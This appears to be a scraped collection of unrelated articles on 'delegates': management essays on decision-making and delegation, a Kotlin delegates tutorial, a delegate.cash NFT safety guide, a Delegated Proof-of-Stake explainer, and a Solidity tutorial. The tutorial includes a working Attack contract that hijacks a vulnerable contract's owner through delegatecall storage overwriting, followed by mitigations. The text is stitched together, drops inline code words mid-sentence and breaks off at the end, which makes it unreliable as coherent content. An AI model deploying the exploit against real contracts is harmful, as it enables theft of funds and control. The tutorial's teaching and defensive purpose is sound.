Delegate is the first revenue operations subscription service that modern businesses use to achieve efficiency at scale

Delegate

delegate

Every manager has to undertake a tricky task of teaching employees to make the right decisions, the ones that will be profitable for the business. As my team was growing, I also came to realize I had to delegate responsibility. I don’t like to be micromanaged — so I don’t micromanage my team. My job is to lead people, not to be a bottleneck. I was lucky that Skyeng is all about principle-based decision-making; this is what makes an annual growth of 200% possible. I only had to take those corporate principles, or rules, and apply them to my field of commercial products. I’ll talk about my rules in this article. Rule #1. Estimate the monetary value Any business operates to make money. Estimate the monetary value of a decision to see whether or not it is profitable. Money is a universal unit of measurement that helps to compare decisions, prioritize projects and be sure that you made the best decision. I am convinced that you can estimate the monetary value of anything — it’s not as difficult as it sounds. You have to always ask yourself, “Will I make a profit? Is it worth the resources spent?” By using this rule we don’t make unjustified decisions. The more difficult a decision, the better it has to be justified. It’s better to take extra time to think that to take a reckless action with a thought “Why not?” Rule #2. Value the goal over the process How our team achieves the goal is not important to us. What we care about is the result even if it is achieved through unconventional ways. It gives our employees the freedom to think and be creative. Quite often the biggest difficulties lead to the biggest breakthroughs. Our team can and even have to re-create the established processes and make them better. If someone knows how to achieve the goal faster and more efficiently, they have to advocate for the change, to demolish the old processes and build new ones.However, it’s important to keep a balance. Let’s say we want to reduce the cost of customer acquisition. We can fire the whole sales department, it will make the process cheaper. But it will also cut the conversion rate. The lower conversion rate will do more harm than the reduced acquisition cost will do good. We will technically achieve our goal, but the company won’t benefit from it. That’s why it’s important to use Rule #2 together with Rule #1 and estimate the monetary value of a change. Rule #3. Any decision is better than none In 2017, we ran a complete makeover of our website’s front page. It took two months and up to six stakeholders. Along with that, there were many interested people who wanted to give tips. Obviously, we couldn’t consider and use all the advice as the whole process would take forever. We did not have time for that. That’s when we came up with this rule together with the rule to implement new processes if it helps to achieve the goal (see Rule #2). We made a draft and presented it for discussion. While people were giving their ideas, we were already making the next version, not considering the current comments. We implemented the revision with a lag of one version or didn’t implement them at all. It wasn’t our goal to consider all the comments, our goal was to make a good front page. For really big decision we took a break and said, “Ok, guys, you have 24 hours to comment if you want to see your revisions in the next version.” Thanks to that, only people who were really interested in the project got to make a decision. We cut all the unnecessary communication regardless of the participants’ positions and made a new front page with a considerably better conversion rate before the deadline. Science tells us that moving is living. I beg you to live at work. There shouldn’t be moments when you sit at your desk and don’t know what to do. This leads to procrastination. A stall can occur due to external or internal reasons. If an employee hesitates what decision to make, it’s better to make any, get feedback and try again. The iterative approach makes all the doubts disappear. If it takes anyone — me, your manager, your counterpart from another team — more than 24 hours to make a decision, you can make it yourself without approval. The person involved had enough time; if they didn’t use it, it was not that important to them. What if you make a wrong decision? You definitely will. That’s why we came up with the next rule. Rule #4. Make more mistakes and learn from them It may sound odd, but to make mistakes is crucial. I always encourage my team to make mistakes as that’s how they can get experience. That’s how I learned. Sometimes I see that someone from my team is going to make a mistake and I don’t warn them letting them make this mistake. The next time they won’t wait for me to guide them and will trust their own knowledge and intuition. This way employees become more independent and make better decisions. But sometimes it turns out that the employee was right and I was wrong! That’s what I enjoy the most, realizing that I hired someone with more competence than I have. However, making mistakes can lead to fast growth and better results only in case when each mistake is thoroughly analyzed, conclusions are made and the rules and principles are amended. I keep close tabs on that. Rule #5. Take responsibility for your work With great freedom comes great responsibility. Employees can decide whether they want to manage, make decisions and take risks or to do their job and let me take all the risks. Both positions are ok, it’s the matter of preference. Each employee is important. But if someone chooses to risk and then makes the same mistakes over and over again (which means that he or she does not learn), he or she will be fired. If you don’t reach your targets, you’re fired. If you don’t follow the principles, you’re fired. If you stall, you take unimportant projects. If you earn a profit, you grow fast and work on the most interesting and creative projects. Career lifts can take you either way; you can go up or down very fast depending on how much profit you earn for the company. This rule applies to everyone at the company, from specialists to co-founders. Rule #6. Make decisions openly At all times. If you make a decision in a private chat, it’s a bad decision. Share information honestly and openly, especially if your decision involves risk. The greater the risk, the more you need to share. It helps you to get feedback even before you make a mistake (yes, it’s better not to make some mistakes despite Rule #5). Your colleagues can see overlooked flaws in your plan. When you work alone or in a small team, it’s easy to lose touch with reality. But when you share information, you can get a heads-up from a more experienced or just more attentive colleague much faster than you could spot a mistake yourself. Rule # 7. Change rules if it means better results Every new hire has to learn and follow our rules. But they are not set in stone. Rules exist to help make better decisions, not to limit your freedom. If you follow the rules and get a negative result, it’s great! I hope you share it with the team. It gives you an opportunity to make the world around you slightly better, even if it’s just a tiny rule. Not only people need to constantly grow and change; rules for decision-making need to grow and change too. The rule of no control When you travel on the speed of light, it’s hard to keep everything under control. Sometimes our test servers fail. According to Rule #3, we don’t wait for them to be fixed and release projects with no testing. We can implement such a risky process, thanks to Rule #2. Of course, it can result in system fails, from which we learn according to Rule #4, and we are not afraid of these fails as we’ve estimated their monetary value according to Rule #1. We accepted the responsibility for such mistakes according to Rule #5 and informed everyone openly according to Rule #6. I’m sure that the day will come when our rules will no longer be effective and we’ll have to change them. It’s good we can do it thanks to Rule #7.Rules don’t give you more control but help achieve better results for less effort. And the free time you’ll have can be invested in personal growth. Also appears . here

How to Teach People to Make the Right Decisions and Delegate Important Business Tasks With no Stress

attacks in are fundamentally an exploitation of the feature to manipulate contract storage slots. Despite their simplicity, these attacks involve vulnerabilities in the contract's logical design and storage slot distribution, and they remain common today. 🚨 delegatecall smart contracts delegatecall This highlights the need for careful consideration in the design of smart contracts, especially when using for inter-contract calls, as well as thorough testing and code auditing before deployment. In this article, I'll demonstrate a simple attack example and how to prevent such attacks. 🛡️ delegatecall delegatecall First, Let's Describe the Process of a Attack 🧐 delegatecall Alice deploys two simple contracts: a Lib contract and a HackMe contract. She uses a function in the HackMe contract to to a function in the Lib contract. This is common in scenarios like proxy contracts, upgradeable contracts, or modular contracts. The code is as follows: 👩‍💻 delegatecall // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
} The attacker, Eve, deploys a simple Attack contract with two key points. First, its storage layout must be identical to that of HackMe (we'll explain why later), and second, it must have a doSomething function with the same signature as in the Lib contract. The code is as follows: 👩‍🔬 contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
} Eve deploys the Attack contract, passing in a HackMe contract instance in the constructor. This creates a reference to a HackMe contract pointing to the one deployed by Alice. 🌐 Eve then calls the Attack.attack function. Ethereum addresses are essentially 20-byte strings. The statement first converts the Attack contract's address to a uint160 type, then to a uint type, to match the expected parameter in the Lib contract. 🔄 hackMe.doSomething(uint(uint160(address(this)))); This calls the in HackMe, which in turn calls the doSomething function in Lib, aiming to modify the first state variable slot, slot 0, in HackMe. 🎯 lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); Due to 's nature, this modifies HackMe's slot 0 variable (lib) to the passed uint parameter (the Attack contract's address). 🔀 delegatecall The triggers a second to the now modified lib in HackMe, which is the Attack contract's doSomething function, not Lib's. 🔄 hackMe.doSomething(1); delegatecall This is why the storage layout in Attack must match HackMe, and the function signature in Attack must match Lib's doSomething. 🧩 The second actually calls the in Attack, modifying the second storage slot (slot 1) in HackMe to the caller's address. 🚚 delegatecall owner = msg.sender; Again, due to 's nature, even though the function in Attack is called, it modifies the corresponding slot (slot 1) in HackMe, changing its owner to the attacker, Eve. 🎩 delegatecall How to Prevent Such Attacks 🛡️ delegatecall This attack is simple but shows the need for cautious design in smart contracts to avoid unexpected storage overwrites and potential vulnerabilities. Based on the attack's principle, here are some ways to mitigate such risks: 🛠️ Maintain storage layout consistency between the contract using and the called contract. This avoids unintended storage overwrites due to layout mismatches. 🧱 delegatecall Use proxy contracts where the proxy contains little logic and forwards function calls via to another (implementation) contract. This pattern reduces storage vulnerability risks. 🌉 delegatecall Utilize well-established libraries like OpenZeppelin for safe proxy implementations. These libraries reduce coding and logical errors, offering community-validated best practices. 📚 Implement strict access control on contracts. Ensure only authorized addresses can call critical functions, especially those involving . 🔐 delegatecall Conduct thorough audits and testing before deployment and continuous monitoring and updating post-deployment, to fix vulnerabilities if found. 🔍 That's all for this discussion on vulnerabilities and security strategies. If you've made it this far, drop a like for the article! 👍 delegatecall Also published here.

Smart Contract Vulnerabilities: Understanding and Safeguarding Against delegatecall Attacks

Introduction Hi all, today, let's talk about Kotlin delegates and how they can be used in app development. In this article, let's try to understand how delegates work under the hood, see a ready-to-use Kotlin delegate, and try to write a new Kotlin delegate. Android What is a Kotlin delegate? First, let's understand what Kotlin delegate is. There is the keyword in Kotlin, it means that this property uses Kotlin delegate under the hood. This means that a getter and setter property call will be delegated to some expression, with the expression being a delegate. This expression may contain logic different from the usual logic of setting and getting a property and specify some non-standard behavior of the property when a getter or setter is called. We delegate these method calls to this expression; that's why it's called a delegate, and as we can deduce, it's based on a delegation pattern. In the code, it looks like . In Kotlin, a modern programming language, we can see delegates very often and in different layers of application, from UI to domain layer. It remains to be seen how this can benefit us in practice and how to apply it. by by <expression> Property Delegation Let's first try to understand the property delegates. Kotlin already has ready-to-use property delegates in object in package . Let's take a look at some of them. Delegates package kotlin.properties val notNullString by Delegates.notNull<String>() An IllegalStateException will be thrown when attempting to read this property. This logic is implemented in the delegate, which we use because of the keyword . by val observableProperty by Delegates.observable(initialValue = true) { 
    property, oldValue, newValue -> 
    //is called only when the value of the property has been changed
} The Observable delegate works like a classic observable pattern and notifies the subscriber, in our case, calls the lambda in case the value of the property changes. One of the most powerful ready-to-use delegates is the lazy delegate. Let's take a closer look at it. val text: String by lazy { 
    "lazy text" 
} The lazy delegate lambda will be executed at the moment when the variable is first read. Thus, we postpone some time-consuming operations to the moment when the variable is read, and this is possible thanks to the use of the lazy delegate. In mobile development, where we try to save system resources, the lazy delegate is a very powerful tool. For example, it can be used in cases of deferred reading of Android resources. val text: String by lazy {
    resources.getString(R.string.lazy_resource) 
} Let's see how we can use lazy delegate in other cases. For example, when the calculation of some boolean flag can be executed with delay, on demand. val firstCase: Boolean = true
val secondCase: Lazy<Boolean> = lazy { 
    users.any { it == "root" } 
}
val thirdCase: Lazy<Boolean> = lazy { 
    users.any { it == "admin" } 
}


if (firstCase) {

   doCaseOne()

} else if (secondCase.value) {   
// property secondCase will be calculated lazily

   doCaseSecond()

} else if (thirdCase.value) {    
// property thirdCase will be calculated lazily

   doCaseThird()

} In this example, the values of the and properties may never be needed. So why compute these boolean flags? We can only do it when we really need it. And in that case, the lazy delegate is perfect for doing the resource-intensive calculations at the first read property, and all subsequent reads of the flag will return the value already calculated before. As a result, with the help of the delegate, we have postponed our time-consuming calculations, which may never be needed at all. secondCase thirdCase It is important to know that by default, this delegate works synchronously and provides thread-safe access to the field, which imposes additional costs when reading the variable. In the case of multi-threaded access, our thread may be blocked at the time of the first read. But luckily for us, the have thought of everything for us and provided an API that allows us to set the delegate strategy and disable synchronized variable access when we don't need it. Let's see how to do that. Kotlin developers To do that, we need to specify , it can be , , . I will not dwell on each of them; you can read about their behavior in the documentation. LazyThreadSafetyMode SYNCHRONIZED PUBLICATION NONE val lazyField = lazy(mode = LazyThreadSafetyMode.NONE) { 
    "not blocking property" 
} So, we have learned about property delegates and one of the most popular and powerful delegates in Kotlin, Lazy. Now we know how powerful this tool is. In the next step, we will try to implement our own delegate. property delegate Writing our To write our own delegate, we need to create a class and inherit from or from from package . If we want to override read and write logic, we inherit from , and if we need to override only read logic, we can inherit from public . ReadWriteProperty ReadOnlyProperty kotlin.properties interface ReadWriteProperty<in T, V> : ReadOnlyProperty<T, V> fun interface ReadOnlyProperty<in T, out V> package kotlin.properties

import kotlin.reflect.KProperty

public interface ReadWriteProperty<in T, V> : ReadOnlyProperty<T, V> {
   /**
    * Returns the value of the property for the given object.
    * @param thisRef the object for which the value is requested.
    * @param property the metadata for the property.
    * @return the property value.
    */
   public override operator fun getValue(thisRef: T, property: KProperty<*>): V

   /**
    * Sets the value of the property for the given object.
    * @param thisRef the object for which the value is requested.
    * @param property the metadata for the property.
    * @param value the value to set.
    */
   public operator fun setValue(thisRef: T, property: KProperty<*>, value: V)
}

public fun interface ReadOnlyProperty<in T, out V> {
   /**
    * Returns the value of the property for the given object.
    * @param thisRef the object for which the value is requested.
    * @param property the metadata for the property.
    * @return the property value.
    */
   public operator fun getValue(thisRef: T, property: KProperty<*>): V
} So let's write our class. class ObservableDelegate<T>(
   initValue: T,
   val onChanged: (old: T, new: T) -> Unit,
) : ReadWriteProperty<Any?, T> {

   private var currentValue: T = initValue

   override fun getValue(thisRef: Any?, property: KProperty<*>): T {
       return currentValue
   }

   override fun setValue(thisRef: Any?, property: KProperty<*>, value: T) {
       val oldValue = currentValue
       currentValue = value
       onChanged(oldValue, value)
   }
} Let's write a function for the convenience of using the delegate. fun <T> observableDelegate(
   initValue: T,
   onChanged: (old: T, new: T) -> Unit
): ReadWriteProperty<Any?, T> {
   return ObservableDelegate(
       initValue = initValue,
       onChanged = onChanged
   )
} As a result, we have implemented our own . The is called when we assign a new value and the when we read the field value. So, our delegate will call the function with the new value and the old value every time we set a new value. In our code, we just use the standard assignment operator, and our function is called every time we set a new value. We can also write some logic for the getValue function and do some actions, too, for example, increase the counter of reading the value. ObservableDelegate override fun setValue(thisRef: Any?, property: KProperty<*>, value: T) override fun getValue(thisRef: Any?, property: KProperty<*>): T onChanged onChanged private var observableProperty: String by observableDelegate("initValue") { oldValue, newValue ->
   Log.d("tag", "oldValue: $oldValue, new: $newValue")
}

observableProperty = "test1"
observableProperty = "test2"
observableProperty = "test3" Yay, our delegate works, and now we know how to implement our own delegates. Delegate for interface The interface can also be implemented using a delegate. In this case, overriding public members’ methods of the interface becomes optional. And all such calls will be delegated to our delegate. This means that we can define a default implementation and use it as a delegate. interface Player {
    
    fun play()
    
    fun stop()
}

class DefaultPlayerImpl : Player {

    override fun play() { print("default play impl") }

    override fun stop() { print("default stop impl") }
}

class AdminPlayer(player: Player = DefaultPlayerImpl()) : Player by player {

    override fun play() { print("admin play impl") }
}

class UserPlayer(player: Player = DefaultPlayerImpl()) : Player by player Now and classes do not need to implement more than one public function of the . Now and delegate the call of these functions to the delegate. But if you still need to use a function implementation not from a delegate, you can simply override the required functions as usual. AdminPlayer UserPlayer interface Player AdminPlayer UserPlayer Conclusion In this article, we learned what Kotlin delegates are and how we can use them in modern android development. It's also worth mentioning that Kotlin delegates are now used almost everywhere in Android development. For example, there are a lot of delegates for Jetpack Compose out of the box, and there are also ready-made delegates in Kotlin in the Delegates object. Ideas for using delegates can be absolutely different, from fields with custom logic to getting some Android resources, services, or lazy loggers. So make sure you use in your development and get nice, concise, and reusable code. Kotlin delegates

Delegates in Kotlin for Android App Development

Dear HackerNoon Nation, A pillar of crypto and NFTs is their self-custody potential, which people can rely on to take full control of their digital things. One of the to safely store your own blockchain assets are “cold wallets” like hardware wallet devices. Think Ledgers, Trezors, the GridPlus Lattice, etc. best ways The problem? In the NFT space folks often store their blue-chips and grails on cold wallets, but then are compelled to use these wallets to claim airdrops their NFTs qualify for. Accordingly, under this security paradigm all it takes to swipe a cold wallet’s precious NFTs is convincing lookalike scam website tricking a user into signing transaction they don’t understand. one one The good news? With solutions like , you can now keep your NFTs safe while still actively using your cold wallet however you like via delegation. delegate.cash For today’s post, then, let’s walk through the basics of delegate.cash and how you can use it to step up your NFT security! -WMP Cold Wallet, Hot UX: Using delegate.cash to Safely Degen What’s up ❓ Millions and millions of dollars worth of NFTs were stolen by scammers last year. In September 2022, auditor, developer, and writer introduced , an “immutable primitive to safely claim airdrops for vaulted NFTs,” as a way to help mitigate these scams. foobar delegate.cash This NFT safety solution has been gaining traction ever since as a growing number of projects have directly embraced it, including large NFT studios like Yuga Labs. Other notable projects that already support delegate.cash include Art Blocks, CyberBrokers, and Forgotten Runes Wizard’s Cult. https://twitter.com/CryptoGarga/status/1613009236589703170?s=20&t=48CHKwE7XD4IjehVjBikKw&embedable=true How delegate.cash Works 🔐 Simply put, delegate.cash lets you secure your valuable NFTs while still actively using them to participate in activities like airdrop claims or DAO governance. The system is a smart contract-based registry that, among other things, lets you delegate your cold wallet’s NFT powers to a burner “hot wallet” of your choice like a MetaMask account. Your NFTs will stay in your cold wallet no matter what, but your linked burner can then act on their behalf. With this delegation system, you get the perks of a hardware wallet without having to reach for it every time you need to sign a transaction. Additionally, if you ending up degening into a scam project, any fallout will be limited to your delegated burner that you’ve specifically isolated in case of attack. The NFTs in your cold wallet will remain utterly untouched! do Lastly, keep in mind that delegate.cash is (no admin powers or attack vectors), (no offchain signature vulnerabilities), and (self-sufficient with no external dependencies). This trifecta means anyone can reliably use this solution in permissionless fashion. The system is also able to be deployed on any Ethereum Virtual Machine (EVM) chain. totally immutable totally onchain totally independent How to use delegate.cash 🪙 On delegate.cash and in the context of NFTs, it’s possible to delegate all your cold wallet’s NFT powers to a hot wallet of your choice, or delegate a NFT’s powers to your desired wallet. 1) 2) single If you’re interested in the first option, delegating to a throwaway burner, you would follow these steps: Go to delegate.cash Connect the cold wallet you vault your NFTs in, e.g. a Ledger device Copy the address of your designated burner wallet and paste it into the delegate.cash “Wallet” UI like so: Press the “Submit Delegation” button and complete the transaction with your cold wallet to finalize your entry in the registry That’s it! You can then track that and future delegations using the “View recent delegations” button below the Wallet delegation UI Remember: your linked burner will only represent your cold wallet for certain utilities, it can’t be abused to drain any NFTs from within your cold wallet! If you’re interested in just delegating a single NFT’s power instead, the process is similar to the one described above. You’d flick over to the “NFT” UI, paste in your desired hot wallet to link, then input the address of the NFT contract and your token ID # and fire off the final transaction to finish up. Why it Matters 🧠 NFT scammers have gotten increasingly sophisticated in recent years, so it’s no surprise that look-alike trap websites have ensared plenty of earnest minters so far. With solutions like delegate.cash, though, we now have a great defense against this attack vector. We can start turning the tide against these scammers accordingly by teaching more and more people to firewall their valuable NFTs via wallet delegation! Author Bio is a professional writer and creator of —a Bankless newsletter focused on the emergence of NFTs in the cryptoeconomy. He’s also recently been contributing content to Bankless, JPG, and beyond! William M. Peaster Metaversal Also published . here

Protecting Users and Saving NFTs With delegate.cash 🛅

Proteger a los usuarios y ahorrar NFT con delegar.cash 🛅

Protéger les utilisateurs et économiser les NFT avec le délégué.cash 🛅

डेलीगेट.कैश 🛅 के साथ उपयोगकर्ताओं की सुरक्षा और एनएफटी को सहेजना

delegate.cash を使用したユーザーの保護と NFT の保存 🛅

Protegendo usuários e economizando NFTs com delegate.cash 🛅

Bảo vệ người dùng và tiết kiệm NFT bằng delegate.cash 🛅

使用 delegate.cash 保护用户并保存 NFT 🛅

that requires nodes to lock in a certain amount of tokens to validate transactions. In return for validating transactions, they receive additional tokens as a reward. However, if the node acts maliciously, they lose its locked tokens. This process is known as staking. Proof-of-Stake (PoS) is a consensus algorithm The PoS system gives holders an equal and random opportunity to mine a new block. Before a new block is mined, a node is selected to validate the transactions within the next block. However, for a node to be selected, it must have a copy of the blockchain downloaded on its device (known as "running a full node"). Additionally, nodes need to be online at all times to validate transactions. For some people, this can prove inefficient or too cumbersome since they must be running a full node at all times. Delegated Proof-of-Stake (DPoS) can help to solve the staking issue for people who don't want to run a full node and be online 24/7. Delegated Proof-of-Stake is similar to Proof-of-Stake since users can stake their tokens to validate transactions within a block. However, DPoS uses a voting and delegation system to encourage users to contribute to network security by providing collateral. So, instead of running a full node and staking their tokens directly, network participants can elect a node to act as a validator on their behalf. Before validators can create a new block, the network must choose witnesses, sometimes referred to as delegates. Only those elected as delegates and voters can take part in this process. The precise number of delegates required to create a block varies with every project, but anything between is typically selected whenever a new block is established. When the block is created, and the data is validated, the delegate receives their reward (additional tokens). 20 and 100 delegates XDPoS and its latest upgrade Digital Contract (XDC) Network is a platform that uses its own form of DPoS, known as XDPoS. They recently revealed the newest update on XDPoS 2.0, now known as the XDC 2.0, its epoch-making consensus protocol upgrade. After a one-year-long incubation and testing, XDPoS 2.0, the advanced version of the XDC's consensus engine, is now embedded on the dev-net and is open for evaluation. XinFin Dr. Fisher Yu, Leader of the XDC Protocol Team, said: "XDC 2.0 is the next-generation consensus engine for the XDC Network. This upgrade will make XDC one of the world's most secure and efficient blockchains. Our team has been building and testing the new consensus engine for 12 months. We are happy to share with you that the engine has been built and fully rested on the dev-net." XDPoS 2.0 is the most pivotal upgrade for XDC Network since its launch in 2019. It aims to confer the utmost security and efficiency to the blockchain. Earlier in Q3 2021, the XDC team published a outlining the entire specifications of XDPoS 2.0. Henceforth, the upgrade required one year of beta testing to reach the end launch date. Fisher Yu the distinctive integrations this upgrade is syncing into the network. detailed paper highlighted Advanced Byzantine Fault Tolerance security with a forensics monitoring system, enhanced block finalization time of only three blocks, and sonic transaction speed is the array of sophisticated features integrated into the XDC platform. Principally, the deployment of BFT and the forensics monitoring system detect and eliminate malicious attackers from the network. In the last update, Andromeda, in December 2021, XDC's novel consensus engine – XDPoS, was enhanced with auxiliary upgrades. In addition, the network's EVM was upgraded to enable code deployment from different EVM chains. Once Andromeda went live on the Apothem testnet, the beta of forensic monitoring was integrated as the new functionality. Once this upgraded consensus engine goes live, XDC Network's automated judicial system will be activated. Subsequently, any malignant network activity on the blockchain would be immediately eliminated. Fisher Yu added that the newest consensus engine would go live on the Apothem testnet after completing the dev-net evaluation. The team ensures to facilitate this upgrade seamlessly without causing any hindrance to the existing network operations and infrastructure. The Ethereum scaling solution, XDC Network, is moving forward into the blockchain arena to boost decentralization, security, and efficiency. Firstly, XDC Foundation introduced XDC Network Improvement Proposals ( ) to its community this year. XIPs It mimics the functionality of EIPs as in Ethereum Network. This initiative aims to level up the standards of decentralization in the network. Favorably, XDC 2.0, also XDPoS 2.0, is expected to launch the epoch of the fourth generation of blockchains – "Blockchain 4.0." How DPoS Works In the Delegated Proof-of-Stake system, the more tokens a node has staked, the more influence they have over the voting process. This is because the number of tokens held determines voting power. Delegates can be removed from the DPoS process if they act maliciously or in an untrustworthy manner. Reputation also plays a part in the DPoS system. A node with a trustworthy reputation is more likely to be selected as a delegate. Nodes that are selected to become delegates are also referred to as "witnesses." For nodes to vote for delegates in a delegated proof of stake system, nodes must deposit their tokens into a staking pool and vote for their chosen delegate. Once selected, delegates must agree on which transactions to approve and which ones to cancel. Next, full nodes on the network validate the blocks. Validation of new blocks occurs only if the network has reached a consensus on the validity of the transactions. The block will not be validated if the delegate does not confirm the transactions in time. Only once the transactions have been confirmed promptly can the block be verified, and the delegate receives their block reward. Conclusion Delegated Proof-of-Stake is another iteration of the Proof-of-Stake system that uses a voting and delegation system to secure the network. Instead of running a full node, participants in the network can elect other nodes to validate transactions by depositing their tokens into a voting pool.

A Look at XDC Network & Delegated Proof-of-Stake in 2022 

If you want something done right, you have to do it yourself, right? The perfectionist in you likes to be in control and is good at finding excuses - “Outcome won’t be as good.” “It will take me longer to assign and explain than to do it myself.” “I don’t have anyone with the right skills.” “No one in the team wants to do it anyway.” There’s this itch to jump and solve every problem yourself. Got a presentation - no one can do it better than me. Got a production issue - it ain’t getting fixed if I am not involved. Got a client call - I need to seal this deal. Got a critical feature release - I better do it myself. The risk of not getting it right is way too high. Picture this. I am your supervisor, and I walk over to you with pencil in hand and tell you to take it. You reach for the pencil, but I won’t let go. So I say, ‘What is wrong with you? Why can’t I delegate the pencil to you? -  Andy Grove in High Output Management In the short term it may seem more convenient and less time consuming to do the task yourself. But the future costs are way too high: Tasks may seem small at first, but put together they add up and take a significant portion of your time. When you try to hog all the critical knowledge, you end up becoming a bottleneck to the overall output of your team. You stay up very late at night and get up early in the morning, yet feeling that there isn’t enough time to get everything done. Some important work is always falling through the cracks. You are so busy tackling the right now that you miss what’s important in the future. Your team gets the message “I don’t trust you enough.” You fail to invest in building the right skills within your team. At some point, the overwhelming amount of responsibilities takes a toll on your personal well-being and leads to stress and burnout. Does this sound familiar? You know you need to delegate and yet struggle to get it right every single time. When the outcome does not meet your expectations or work doesn’t get completed on time, is it a problem with trusting others to do it right? Do you find yourself saying “I should have done it myself” “I was a fool to let go” “I knew it’s never going to work.” All this frustration and annoyance is a result of not paying attention to the right strategies that make a delegation effective. So what can you do to scale yourself while also scaling for impact? You have to learn to delegate well. You have to build the skill that separates effective leaders from ineffective ones. You can’t do it all on your own. You have to let go of the control that stands in the way of your employees' growth. You have to learn to invest in those around you. Giving up control can feel hard, but it’s also necessary for growth. The ability to delegate to others is the main difference between the roles of manager and independent producer. A producer does whatever is necessary to accomplish desired results, to get the golden eggs. A parent who washes the dishes, an architect who draws up blueprints, or a secretary who types correspondence is a producer. But when a person sets up and works with and through people and systems to produce golden eggs, that person becomes a manager in the interdependent sense. A parent who delegates washing the dishes to a child is a manager. An architect who heads a team of other architects is a manager. A secretary who supervises other secretaries and office personnel is an office manager. A producer can invest one hour of effort and produce one unit of results, assuming no loss of efficiency. A manager, on the other hand, can invest one hour of effort and produce ten or fifty or a hundred units through effective delegation. Management is essentially moving the fulcrum over, and the key to effective management is delegation - Stephen R. Covey 5 Steps to Delegate Effectively 1. Shift from doing to leading Effective delegation requires letting go of control and it starts with a big mindset shift. Surely you were promoted because you were faster and better than your peers, but those aren’t the same skills that will help you succeed in this position. As a lead, manager or a leader, the impact of your work isn’t based on what you achieve directly, it’s rooted in how you enable your team to work together and deliver on results. In other words, don’t stretch your own limits, stretch the limits of your team. Shift your mindset from doing to leading others. From generating an outcome yourself to helping others achieve the same outcome. From practicing the skills that got you here to investing in building the same skills in others so that they can do it too. If you want to do a few small things right, do them yourself. If you want to do great things and make a big impact, learn to delegate - John C. Maxwell in Developing the Leaders Around You One of the reasons why it’s so hard to let go of control is aiming for faultless execution. When you aren’t willing to accept failures as learning opportunities or when every mistake reflects on their competence, you fail to give space to others to learn and grow. You see them as personal inadequacies as opposed to it being a natural part of growth. Build fault tolerance in your mind and attitude. Be willing to accept failures, to experiment. If you get furious every time someone makes a mistake, people will soon learn to play safe. Creativity and innovation will take a back seat and you won’t achieve what you have been aiming all along. When you struggle to delegate, start with asking yourself these questions: What am I struggling to let go off? What is my worst fear - is it realistic or just a creation of my mind? What are the upsides of delegating this work? What would happen if I continue working this way? Burn out, prevent my team's growth, limit what we can achieve together? Write them down to serve as a useful reminder. What does my role demand - perfectionism or teamwork? Facing these fears upfront will shift your frame of mind from the inclination to do it yourself to considering the possibility of delegating it to others. That in itself is a very useful first step. Once the mindset shift has started, it’s time to start shifting behaviors and the best way to do that is to do it right from the beginning. 2. Map right problems to right people Picking the right person is the crucial part of getting the job done well. It’s not always the person who can do it best. You need to ask yourself - who needs this opportunity right now? Who needs to practice these skills? Who might seem interested to take on this challenge? Who actually has the bandwidth? A crucial mistake most managers make at this stage is to delegate work which shouldn’t be done at all. Without careful planning, they hurry into getting things off their plate and end up delegating inconsequential work. Peter Drucker wrote, “There is nothing so useless as doing efficiently that which should not be done at all.” Have you ever been given illogical assignments, handed unimportant work, or commanded to do something in the most inefficient fashion possible? Not fun and not productive. Now it’s your turn to show that you know better. Delegation is to be used as a further step in reduction, not as an excuse to create more movement and add to the unimportant. Unless something is well-defined and important, no one should do it. Eliminate before you delegate - Tim Ferris, The 4-Hour Workweek A useful practice to effectively delegate involves utilizing the Eisenhower Matrix to prioritize all your goals into the 4 quadrants which enables you to focus on the important, work towards reducing the urgent, identify work that can be delegated and ruthlessly eliminate everything else. Passing responsibilities and giving opportunities to others is great, but not if it’s something that you got to do yourself. Laying out vision for the team, determining recruitment budgets, defining hiring plans, or conducting interviews as a hiring manager are examples of some of the important things that shouldn’t be delegated or delayed. Finding the right balance is tricky. You have to look at both the sides and ask questions: What can I and only I do? Why am I the best person to solve this problem? Can I delegate the rest? Which tasks will help my team learn something new? What kind of opportunities will help them build a new skill? Once you are able to identify the parts that only you can do, identify ways to delegate the rest. Map people to different areas based on their strengths, the opportunities they need or the skills they have been looking to practice. With the right thing to delegate figured out, next comes the problem of delegating it right. 3. Delegate problems, not solutions Managers fail to delegate effectively when they pass on the opportunity but refuse to give the autonomy that goes with it. They share the “what,” but hold on to the “how.” They want things done and want it done their way. It leaves their team members, especially the high performers frustrated. They say - what’s the point of delegating a task and then micromanaging every decision? To delegate effectively, focus on the results and not the methods. Show them the destination, but let them steer their own ship. Don’t let your ego or desire for perfectionism obstruct others from getting work done. Be ready to accept the fact that different people will take different approaches. Some tasks will not be so well done and others will be better than you had imagined. Spend your time and energy into providing clear, upfront understanding of the problem statement and ask for their commitment in driving it to completion. Let your team know that some failure is acceptable, but that doesn’t give them permission to be careless or lazy. Talk to them about what’s acceptable and what’s not. You can keep the bar high while leaving room for learning and growth. In Drive, Daniel Pink writes that people often want autonomy over the four T’s “their task, their time, their technique, and their team.” In an economy that demands nonroutine, creative, conceptual abilities—as any artist or designer would agree. Autonomy over task has long been critical to their ability to create. And good leaders (as opposed to competent “managers”) understand this in their bones - Daniel Pink What can you do? Think in terms of the final outcomes you desire and not the specific tasks someone needs to do to achieve it. When you define the outcome clearly, but empower others to implement their own solutions, they aren’t restricted to one way of doing things. Giving people a choice of method also makes them feel responsible for results. Share the “what” - the specific outcome that needs to be achieved, support it with “why” - how it fits into the big picture and define what success looks like - what looks like a job well done. Knowing the “Why” of doing something is both motivating and inspiring. It opens the door to creativity and innovation. It invites people to find new ways of doing things as opposed to sticking with how it has always been done. By letting go of “how,” you aren’t asking them to simply mark an item off their todo list, you are asking them to create their own todo list to accomplish the task. This advice from General George S. Patton 